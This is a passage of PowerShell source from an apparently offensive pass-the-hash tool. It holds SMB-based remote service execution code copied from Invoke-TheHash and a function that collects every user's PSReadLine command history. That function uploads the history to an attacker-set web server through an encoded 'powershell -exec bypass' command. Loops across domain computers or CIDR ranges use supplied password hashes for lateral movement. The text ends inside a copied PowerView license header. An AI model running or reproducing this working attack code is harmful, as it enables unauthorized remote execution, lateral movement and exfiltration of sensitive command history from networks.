$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $SMB2_sign = $SMB2_header + $SMB2_data\r\n                                $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)\r\n                                $SMB2_signature = $SMB2_signature[0..15]\r\n                                $packet_SMB2_header[\"Signature\"] = $SMB2_signature\r\n                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            }\r\n\r\n                            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data\r\n                            $stage = 'SendReceive'\r\n                        }\r\n\r\n                        'OpenSCManagerW'\r\n                        {\r\n                            $stage_current = $stage\r\n                            $message_ID++\r\n                            $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID\r\n                        \r\n                            if($SMB_signing)\r\n                            {\r\n                                $packet_SMB2_header[\"Flags\"] = 0x08,0x00,0x00,0x00      \r\n                            }\r\n\r\n                            $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length\r\n                            $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data\r\n                            $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00\r\n                            $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data \r\n                            $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length)\r\n                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data \r\n                            $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length\r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length\r\n                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data\r\n                                $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)\r\n                                $SMB2_signature = $SMB2_signature[0..15]\r\n                                $packet_SMB2_header[\"Signature\"] = $SMB2_signature\r\n                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            }\r\n\r\n                            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data\r\n                            $stage = 'SendReceive'\r\n                        }\r\n\r\n                        'ReadRequest'\r\n                        {\r\n                            Start-Sleep -m $Sleep\r\n                            $stage_current = $stage\r\n                            $message_ID++\r\n                            $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID\r\n                        \r\n                            if($SMB_signing)\r\n                            {\r\n                                $packet_SMB2_header[\"Flags\"] = 0x08,0x00,0x00,0x00      \r\n                            }\r\n\r\n                            $packet_SMB2_data = New-PacketSMB2ReadRequest $file_ID\r\n                            $packet_SMB2_data[\"Length\"] = 0xff,0x00,0x00,0x00\r\n                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data \r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length\r\n                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $SMB2_sign = $SMB2_header + $SMB2_data \r\n                                $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)\r\n                                $SMB2_signature = $SMB2_signature[0..15]\r\n                                $packet_SMB2_header[\"Signature\"] = $SMB2_signature\r\n                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            }\r\n\r\n                            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data \r\n                            $stage = 'SendReceive'\r\n                        }\r\n                    \r\n                        'RPCBind'\r\n                        {\r\n                            $stage_current = $stage\r\n                            $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \\svcctl\r\n                            $message_ID++\r\n                            $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID\r\n                        \r\n                            if($SMB_signing)\r\n                            {\r\n                                $packet_SMB2_header[\"Flags\"] = 0x08,0x00,0x00,0x00      \r\n                            }\r\n\r\n                            $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00\r\n                            $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data\r\n                            $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length\r\n                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data \r\n                            $RPC_data_length = $SMB2_data.Length + $RPC_data.Length\r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length\r\n                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data\r\n                                $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)\r\n                                $SMB2_signature = $SMB2_signature[0..15]\r\n                                $packet_SMB2_header[\"Signature\"] = $SMB2_signature\r\n                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            }\r\n\r\n                            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data\r\n                            $stage = 'SendReceive'\r\n                        }\r\n\r\n                        'SendReceive'\r\n                        {\r\n                            $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                            $client_stream.Flush()\r\n                            $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n\r\n                            if(Get-StatusPending $client_receive[12..15])\r\n                            {\r\n                                $stage = 'StatusPending'\r\n                            }\r\n                            else\r\n                            {\r\n                                $stage = 'StatusReceived'\r\n                            }\r\n\r\n                        }\r\n\r\n                        'StartServiceW'\r\n                        {\r\n                        \r\n                            if([System.BitConverter]::ToString($client_receive[132..135]) -eq '00-00-00-00')\r\n                            {\r\n                                Write-Verbose \"Service $SMB_service created on $Target\"\r\n                                $SMB_service_context_handle = $client_receive[112..131]\r\n                                $stage_current = $stage\r\n                                $message_ID++\r\n                                $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID\r\n                            \r\n                                if($SMB_signing)\r\n                                {\r\n                                    $packet_SMB2_header[\"Flags\"] = 0x08,0x00,0x00,0x00      \r\n                                }\r\n\r\n                                $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle\r\n                                $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data\r\n                                $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x13,0x00\r\n                                $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data\r\n                                $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length)\r\n                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                                $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data   \r\n                                $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length\r\n                                $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length\r\n                                $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                                if($SMB_signing)\r\n                                {\r\n                                    $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data\r\n                                    $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)\r\n                                    $SMB2_signature = $SMB2_signature[0..15]\r\n                                    $packet_SMB2_header[\"Signature\"] = $SMB2_signature\r\n                                    $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                                }\r\n\r\n                                $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data\r\n                                Write-Verbose \"[*] Trying to execute command on $Target\"\r\n                                $stage = 'SendReceive'\r\n                            }\r\n                            elseif([System.BitConverter]::ToString($client_receive[132..135]) -eq '31-04-00-00')\r\n                            {\r\n                                Write-Output \"[-] Service $SMB_service creation failed on $Target\"\r\n                                $stage = 'Exit'\r\n                            }\r\n                            else\r\n                            {\r\n                                Write-Output \"[-] Service creation fault context mismatch\"\r\n                                $stage = 'Exit'\r\n                            }\r\n    \r\n                        }\r\n                \r\n                        'StatusPending'\r\n                        {\r\n                            $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n                            \r\n                            if([System.BitConverter]::ToString($client_receive[12..15]) -ne '03-01-00-00')\r\n                            {\r\n                                $stage = 'StatusReceived'\r\n                            }\r\n\r\n                        }\r\n\r\n                        'StatusReceived'\r\n                        {\r\n\r\n                            switch ($stage_current)\r\n                            {\r\n\r\n                                'CloseRequest'\r\n                                {\r\n                                    $stage = 'TreeDisconnect'\r\n                                }\r\n\r\n                                'CloseServiceHandle'\r\n                                {\r\n\r\n                                    if($SMB_close_service_handle_stage -eq 2)\r\n                                    {\r\n                                        $stage = 'CloseServiceHandle'\r\n                                    }\r\n                                    else\r\n                                    {\r\n                                        $stage = 'CloseRequest'\r\n                                    }\r\n\r\n                                }\r\n\r\n                                'CreateRequest'\r\n                                {\r\n                                    $file_ID = $client_receive[132..147]\r\n\r\n                                    if($Refresh -and $stage -ne 'Exit')\r\n                                    {\r\n                                        Write-Output \"[+] Session refreshed\"\r\n                                        $stage = 'Exit'\r\n                                    }\r\n                                    elseif($stage -ne 'Exit')\r\n                                    {\r\n                                        $stage = 'RPCBind'\r\n                                    }\r\n\r\n                                }\r\n\r\n                                'CreateServiceW'\r\n                                {\r\n                                    $stage = 'ReadRequest'\r\n                                    $stage_next = 'StartServiceW'\r\n                                }\r\n\r\n                                'CreateServiceW_First'\r\n                                {\r\n\r\n                                    if($SMB_split_stage_final -le 2)\r\n                                    {\r\n                                        $stage = 'CreateServiceW_Last'\r\n                                    }\r\n                                    else\r\n                                    {\r\n                                        $SMB_split_stage = 2\r\n                                        $stage = 'CreateServiceW_Middle'\r\n                                    }\r\n                                    \r\n                                }\r\n\r\n                                'CreateServiceW_Middle'\r\n                                {\r\n\r\n                                    if($SMB_split_stage -ge $SMB_split_stage_final)\r\n                                    {\r\n                                        $stage = 'CreateServiceW_Last'\r\n                                    }\r\n                                    else\r\n                                    {\r\n                                        $stage = 'CreateServiceW_Middle'\r\n                                    }\r\n\r\n                                }\r\n\r\n                                'CreateServiceW_Last'\r\n                                {\r\n                                    $stage = 'ReadRequest'\r\n                                    $stage_next = 'StartServiceW'\r\n                                }\r\n\r\n                                'DeleteServiceW'\r\n                                {\r\n                                    $stage = 'ReadRequest'\r\n                                    $stage_next = 'CloseServiceHandle'\r\n                                    $SMB_close_service_handle_stage = 1\r\n                                }\r\n\r\n                                'Logoff'\r\n                                {\r\n                                    $stage = 'Exit'\r\n                                }\r\n\r\n                                'OpenSCManagerW'\r\n                                {\r\n                                    $stage = 'ReadRequest'\r\n                                    $stage_next = 'CheckAccess' \r\n                                }\r\n\r\n                                'ReadRequest'\r\n                                {\r\n                                    $stage = $stage_next\r\n                                }\r\n\r\n                                'RPCBind'\r\n                                {\r\n                                    $stage = 'ReadRequest'\r\n                                    $stage_next = 'OpenSCManagerW'\r\n                                }\r\n\r\n                                'StartServiceW'\r\n                                {\r\n                                    $stage = 'ReadRequest'\r\n                                    $stage_next = 'DeleteServiceW'  \r\n                                }\r\n\r\n                                'TreeConnect'\r\n                                {\r\n                                    $tree_ID = $client_receive[40..43]\r\n                                    $stage = 'CreateRequest'\r\n                                }\r\n\r\n                                'TreeDisconnect'\r\n                                {\r\n\r\n                                    if($inveigh_session -and !$Logoff)\r\n                                    {\r\n                                        $stage = 'Exit'\r\n                                    }\r\n                                    else\r\n                                    {\r\n                                        $stage = 'Logoff'\r\n                                    }\r\n\r\n                                }\r\n\r\n                            }\r\n\r\n                        }\r\n                    \r\n                        'TreeConnect'\r\n                        {\r\n                            $tree_ID = $client_receive[40..43]\r\n                            $message_ID++\r\n                            $stage_current = $stage\r\n                            $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $packet_SMB2_header[\"Flags\"] = 0x08,0x00,0x00,0x00      \r\n                            }\r\n\r\n                            $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes\r\n                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data    \r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length\r\n                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $SMB2_sign = $SMB2_header + $SMB2_data \r\n                                $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)\r\n                                $SMB2_signature = $SMB2_signature[0..15]\r\n                                $packet_SMB2_header[\"Signature\"] = $SMB2_signature\r\n                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            }\r\n\r\n                            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data\r\n\r\n                            try\r\n                            {\r\n                                $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                                $client_stream.Flush()\r\n                                $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n\r\n                                if(Get-StatusPending $client_receive[12..15])\r\n                                {\r\n                                    $stage = 'StatusPending'\r\n                                }\r\n                                else\r\n                                {\r\n                                    $stage = 'StatusReceived'\r\n                                }\r\n                            }\r\n                            catch\r\n                            {\r\n                                Write-Output \"[-] Session connection is closed\"\r\n                                $stage = 'Exit'\r\n                            }\r\n                            \r\n                        }\r\n\r\n                        'TreeDisconnect'\r\n                        {\r\n                            $stage_current = $stage\r\n                            $message_ID++\r\n                            $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID\r\n                        \r\n                            if($SMB_signing)\r\n                            {\r\n                                $packet_SMB2_header[\"Flags\"] = 0x08,0x00,0x00,0x00      \r\n                            }\r\n            \r\n                            $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest\r\n                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data\r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length\r\n                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $SMB2_sign = $SMB2_header + $SMB2_data\r\n                                $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)\r\n                                $SMB2_signature = $SMB2_signature[0..15]\r\n                                $packet_SMB2_header[\"Signature\"] = $SMB2_signature\r\n                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            }\r\n\r\n                            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data\r\n                            $stage = 'SendReceive'\r\n                        }\r\n    \r\n                    }\r\n                \r\n                }\r\n\r\n            }\r\n            catch\r\n            {\r\n                Write-Output \"[-] $($_.Exception.Message)\"\r\n            }\r\n        \r\n        }\r\n\r\n    }\r\n\r\n    if($inveigh_session -and $Inveigh)\r\n    {\r\n        $inveigh.session_lock_table[$session] = 'open'\r\n        $inveigh.session_message_ID_table[$session] = $message_ID\r\n        $inveigh.session[$session] | Where-Object {$_.\"Last Activity\" = Get-Date -format s}\r\n    }\r\n\r\n    if(!$inveigh_session -or $Logoff)\r\n    {\r\n        $client.Close()\r\n        $client_stream.Close()\r\n    }\r\n\r\n}\r\n\r\n}\r\n\r\n#######################END OF CODE COPIED FROM Invoke-TheHash #######################\r\n############################### Thanks Kevin Robertson!!! ##########################\r\n\r\n#Gen-EncodedUploadScript generates a PowerShell encoded command to use with WMIExec or SMBExec to exfil a file to a webserver. \r\n\r\nFunction Gen-EncodedUploadScript{\r\n\r\n    param(\r\n    [Parameter(Position = 1, Mandatory = $false)]\r\n    [string]\r\n    $UploadURL = \"\"\r\n\r\n    )\r\n$UnencodedCommand = {\r\n\r\n######## Manually change the URL here for now until I figure out \r\n########how to pass the variable into this part that gets encoded\r\n########See the Readme for server setup.\r\n$Url = \"https://<this-is-the-server-you-setup-address>/index.php\"\r\n################################################################\r\n\r\n$UserProfiles = Get-ChildItem C:\\Users\\ | Where-Object {$_.PSIsContainer} | Foreach-Object {$_.Name}\r\n$hostname = [System.Net.Dns]::GetHostName()\r\n#Checking every profile for PSReadline\r\nforeach($profile in $UserProfiles){\r\n    $ReadLineExists = Test-Path C:\\Users\\$profile\\appdata\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\r\n    if ($ReadLineExists){\r\n    \r\n    $FilePath = \"C:\\Users\\$profile\\appdata\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt\"\r\n    #Building the body of a POST request to server.\r\n    $boundary = [Guid]::NewGuid().ToString()\r\n    $bodyStart = @\"\r\n--$boundary\r\nContent-Disposition: form-data; name=\"uploaded_file\"; filename=\"$(\"PSReadLine-\" + $hostname + \"-\" + $profile + \".txt\")\"\r\nContent-Type: multipart/form-data\r\n\r\n\r\n\"@\r\n\r\n$bodyEnd = @\"\r\n\r\n--$boundary--\r\n\"@\r\n$requestInFile = (Join-Path -Path $env:TEMP -ChildPath ([IO.Path]::GetRandomFileName()))\r\n\r\n\r\n      $fileStream = (New-Object -TypeName 'System.IO.FileStream' -ArgumentList ($requestInFile, [IO.FileMode]'Create', [IO.FileAccess]'Write'))\r\n\r\n\r\n        $bytes = [Text.Encoding]::UTF8.GetBytes($bodyStart)\r\n        $fileStream.Write($bytes, 0, $bytes.Length)\r\n        $bytes = [IO.File]::ReadAllBytes($FilePath)\r\n        $fileStream.Write($bytes, 0, $bytes.Length)\r\n        $bytes = [Text.Encoding]::UTF8.GetBytes($bodyEnd)\r\n        $fileStream.Write($bytes, 0, $bytes.Length)\r\n\r\n        $fileStream.Close()\r\n        $fileStream = $null\r\n        [GC]::Collect()\r\n\r\n      $contentType = 'multipart/form-data; boundary={0}' -f $boundary\r\n      (Microsoft.PowerShell.Utility\\Invoke-RestMethod -Uri $Url -Method Post -InFile $requestInFile -ContentType $contentType -ErrorAction Stop -WarningAction SilentlyContinue)\r\n\r\n\r\n      $null = (Remove-Item -Path $requestInFile -Force -Confirm:$false)\r\n      $contentType = $null\r\n      [GC]::Collect()\r\n    }\r\n}\r\n}\r\n    $Bytes = [System.Text.Encoding]::Unicode.GetBytes($UnencodedCommand) \r\n    $Base64 = [Convert]::ToBase64String($Bytes) \r\n\r\n    return $Base64\r\n}\r\n\r\nif ($Protocol -eq \"WMI\")\r\n                    {\r\n                        #$count = 1\r\n                            if ($hostlist -match \"127.0.0.1\")\r\n                                {\r\n                                $null = Get-Date\r\n                                }\r\n                                else{\r\n                            Foreach($target in $Hostlist){\r\n                                ####Check to see if WMI can connect with provided creds\r\n                                if ($UserDomain){\r\n                                    #Write-Verbose  \"[*] Now checking $target.`r`n\"\r\n                                    $WMIConnectResult = Invoke-WMIExec -Target $Target -Domain $UserDomain -Username $username -Hash $passwordhash\r\n                                    \r\n                                    #$count++\r\n                                }\r\n                                else{\r\n                                    #Write-Verbose \"[*] Now checking $target.`r\"\r\n                                    $WMIConnectResult = Invoke-WMIExec -Target $Target -Username $Username -Hash $PasswordHash\r\n                                    #$count++\r\n                                }\r\n    \r\n                                #Checking output of Invoke-WMIExec to determine if successful or not\r\n                                \r\n                                if($WMIConnectResult -match \"accessed\"){\r\n                                   #$successcount++\r\n                                   if($ExfilPSReadline){\r\n                                   $Base64 = Gen-EncodedUploadScript\r\n                                    $Base64 | out-file C:\\temp\\b64.txt\r\n                                    Invoke-WMIExec -Target $Target -Username $Username -Hash $PasswordHash -Command \"powershell.exe -exec bypass -encodedcommand $Base64\"\r\n                                   }\r\n                                   else{\r\n                                   Write-Output \"[*] Successfuly accessed $Target as an admin.\"\r\n                                   }\r\n\r\n                                }\r\n                                \r\n                            }\r\n                        }\r\n                        \r\n                        #Write-Output \"A total of $successcount hosts were accessed successfully.\"\r\n                    }\r\n                    elseif($Protocol -eq \"SMB\")\r\n                    {\r\n                        #$count = 1\r\n                        if ($hostlist -match \"127.0.0.1\")\r\n                                {\r\n                                $null = Get-Date\r\n                                }\r\n                        else{\r\n                                Foreach($target in $Hostlist){\r\n                                    ####Check to see if SMB can connect with provided creds\r\n                                    if ($UserDomain){\r\n                                        #Write-Verbose \"[*] Now checking $target.`r\"\r\n                                        $SMBConnectResult = Invoke-SMBExec -Target $Target -Domain $UserDomain -Username $username -Hash $passwordhash -ErrorAction SilentlyContinue\r\n                                        #$count++\r\n                                    }\r\n                                    else{\r\n                                        #Write-Verbose \"[*] Now checking $target.`r\"\r\n                                        $SMBConnectResult = Invoke-SMBExec -Target $Target -Username $Username -Hash $PasswordHash -ErrorAction SilentlyContinue\r\n                                        $count++\r\n                                    }\r\n    \r\n                                    #Checking output of Invoke-SMBExec to determine if successful or not\r\n                                    if($SMBConnectResult -match \"has Service Control Manager write privilege\"){\r\n                                        #$successcount++\r\n                                        if($ExfilPSReadline){\r\n                                        $Base64 = Gen-EncodedUploadScript\r\n                                        $Base64 | out-file C:\\temp\\b64.txt\r\n                                        Invoke-WMIExec -Target $Target -Username $Username -Hash $PasswordHash -Command \"powershell.exe -exec bypass -encodedcommand $Base64\"\r\n                                        }\r\n                                        else{\r\n                                        Write-Output \"[*] Successfuly accessed $Target as admin.\"\r\n                                        }\r\n                                    }\r\n            \r\n                                }\r\n                        #Write-Output \"A total of $successcount hosts were accessed successfully.\"\r\n                        }\r\n                    }\r\n\r\n            \r\n            }\r\n\r\n           \r\n \r\n        $successcount = 0\r\n\r\n        #### Get all computers or just check one system or specify hostlist in cidr format\r\n        if($allsystems){\r\n        $hostlist = New-Object System.Collections.ArrayList\r\n            if($Domain -eq \"\"){\r\n            Write-Output \"[-] You must enter a domain to enumerate all computers.\"\r\n            }\r\n            else{\r\n            Write-Output \"[*] Now enumerating all systems from the domain into a target list...\"\r\n            $hostlist = Get-DomainComputer -Domain $Domain | select-object -expandproperty dnshostname\r\n            $counttotal = $hostlist.count\r\n            Write-Output (\"[*] Found a total of \" + $hostlist.count +\" systems.\")\r\n            }\r\n            \r\n            if($Threads) {\r\n            Write-Verbose \"Using threading with threads = $Threads\"\r\n\r\n            # if we're using threading, kick off the script block with Invoke-ThreadedFunction\r\n            $ScriptParams = @{\r\n                #'Hostlist' = $Hostlist\r\n                'Username' = $Username\r\n                'PasswordHash' = $PasswordHash\r\n                'UserDomain' = $UserDomain\r\n                'Protocol' = $Protocol\r\n                'counttotal' = $counttotal\r\n                'ExfilPSReadline' = $ExfilPSReadline\r\n                       \r\n        \r\n            }\r\n\r\n            # kick off the threaded script block + arguments           \r\n            \r\n            Invoke-ThreadedFunction -ScriptBlock $LocalAdminCheckBlock -ScriptParameters $ScriptParams -ComputerName $hostlist -Threads $Threads\r\n            }\r\n            else{\r\n            Invoke-Command -ScriptBlock $LocalAdminCheckBlock -ArgumentList $hostlist, $Username, $PasswordHash, $UserDomain, $Protocol, $counttotal\r\n            }      \r\n            \r\n        }\r\n        elseif ($cidr){\r\n            ###Hostlist generator taken from @rvrsh3ll Find-Fruit.ps1 - https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Find-Fruit.ps1\r\n  \r\n                $hostList = New-Object System.Collections.ArrayList\r\n        \r\n                $iHosts = $CIDR -split \",\"\r\n        \r\n                foreach ($iHost in $iHosts) {\r\n                    $iHost = $iHost.Replace(\" \", \"\")\r\n            \r\n                    if (!$iHost) {\r\n                        continue\r\n                    }\r\n            \r\n                    if ($iHost.contains(\"/\")) {\r\n                        $netPart = $iHost.split(\"/\")[0]\r\n                        [uint32]$maskPart = $iHost.split(\"/\")[1]\r\n                \r\n                        $address = [System.Net.IPAddress]::Parse($netPart)\r\n                        if ($maskPart -ge $address.GetAddressBytes().Length * 8) {\r\n                            throw \"Bad host mask\"\r\n                        }\r\n                \r\n                        $numhosts = [System.math]::Pow(2, (($address.GetAddressBytes().Length * 8) - $maskPart))\r\n                \r\n                        $startaddress = $address.GetAddressBytes()\r\n                        [array]::Reverse($startaddress)\r\n                \r\n                        $startaddress = [System.BitConverter]::ToUInt32($startaddress, 0)\r\n                        [uint32]$startMask = ([System.math]::Pow(2, $maskPart) - 1) * ([System.Math]::Pow(2, (32 - $maskPart)))\r\n                        $startAddress = $startAddress -band $startMask\r\n                        #in powershell 2.0 there are 4 0 bytes padded, so the [0..3] is necessary\r\n                        $startAddress = [System.BitConverter]::GetBytes($startaddress)[0..3]\r\n                        [array]::Reverse($startaddress)\r\n                        $address = [System.Net.IPAddress][byte[]]$startAddress\r\n                \r\n                        $Null = $hostList.Add($address.IPAddressToString)\r\n                \r\n                        for ($i = 0; $i -lt $numhosts - 1; $i++) {\r\n                            $nextAddress = $address.GetAddressBytes()\r\n                            [array]::Reverse($nextAddress)\r\n                            $nextAddress = [System.BitConverter]::ToUInt32($nextAddress, 0)\r\n                            $nextAddress++\r\n                            $nextAddress = [System.BitConverter]::GetBytes($nextAddress)[0..3]\r\n                            [array]::Reverse($nextAddress)\r\n                            $address = [System.Net.IPAddress][byte[]]$nextAddress\r\n                            $Null = $hostList.Add($address.IPAddressToString)       \r\n                        }\r\n                                       \r\n                    }\r\n                    else {\r\n                        $Null = $hostList.Add($iHost) \r\n                    }\r\n                }\r\n            \r\n            $counttotal = $hostlist.count\r\n            Write-Output (\"[*] Found a total of \" + $hostlist.count +\" systems.\")\r\n            if($Threads) {\r\n            Write-Verbose \"Using threading with threads = $Threads\"\r\n\r\n            # if we're using threading, kick off the script block with Invoke-ThreadedFunction\r\n            $ScriptParams = @{\r\n                #'Hostlist' = $Hostlist\r\n                'Username' = $Username\r\n                'PasswordHash' = $PasswordHash\r\n                'UserDomain' = $UserDomain\r\n                'Protocol' = $Protocol\r\n                'counttotal' = $counttotal\r\n                       \r\n        \r\n            }\r\n\r\n            # kick off the threaded script block + arguments           \r\n            \r\n            Invoke-ThreadedFunction -ScriptBlock $LocalAdminCheckBlock -ScriptParameters $ScriptParams -ComputerName $hostlist -Threads $Threads\r\n            }\r\n            else{\r\n            Invoke-Command -ScriptBlock $LocalAdminCheckBlock -ArgumentList $hostlist, $Username, $PasswordHash, $UserDomain, $Protocol, $counttotal\r\n            }      \r\n            \r\n \r\n        }\r\n        elseif($targetsystem)\r\n        {\r\n            $hostlist = $targetsystem\r\n            Write-Output \"[*] Now Scanning\"\r\n            Invoke-Command -ScriptBlock $LocalAdminCheckBlock -ArgumentList $hostlist, $Username, $PasswordHash, $UserDomain, $Protocol, $counttotal\r\n        }\r\n        elseif($targetlist)\r\n        {\r\n            $hostlist = Get-Content -Path $targetlist\r\n            if($Threads) {\r\n            Write-Verbose \"Using threading with threads = $Threads\"\r\n\r\n            # if we're using threading, kick off the script block with Invoke-ThreadedFunction\r\n            $ScriptParams = @{\r\n                #'Hostlist' = $Hostlist\r\n                'Username' = $Username\r\n                'PasswordHash' = $PasswordHash\r\n                'UserDomain' = $UserDomain\r\n                'Protocol' = $Protocol\r\n                'counttotal' = $counttotal\r\n                       \r\n        \r\n            }\r\n\r\n            # kick off the threaded script block + arguments           \r\n            \r\n            Invoke-ThreadedFunction -ScriptBlock $LocalAdminCheckBlock -ScriptParameters $ScriptParams -ComputerName $hostlist -Threads $Threads\r\n            }\r\n            else{\r\n            Invoke-Command -ScriptBlock $LocalAdminCheckBlock -ArgumentList $hostlist, $Username, $PasswordHash, $UserDomain, $Protocol, $counttotal\r\n            }      \r\n        }\r\n}\r\n\r\n\r\n\r\n\r\n\r\n############################ Copied Code from PowerView Starts Here  #########################\r\n########https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1###\r\n#########(Thanks @harmj0y, @mattifestation, and anyone else who has worked on PowerView!)#####\r\n\r\n#######PowerSploit BSD 3-Clause\r\n#PowerSploit is provided under the 3-clause BSD license below.\r\n#\r\n#*************************************************************\r\n#\r\n#Copyright (c) 2012, Matthew Graeber\r\n#All rights reserved.\r\n#\r\n#Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\r\n#\r\n#    Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\r\n#    Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\r\n#    The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.\r\n#\r\n#THIS SOFTWARE IS PROVIDED BY 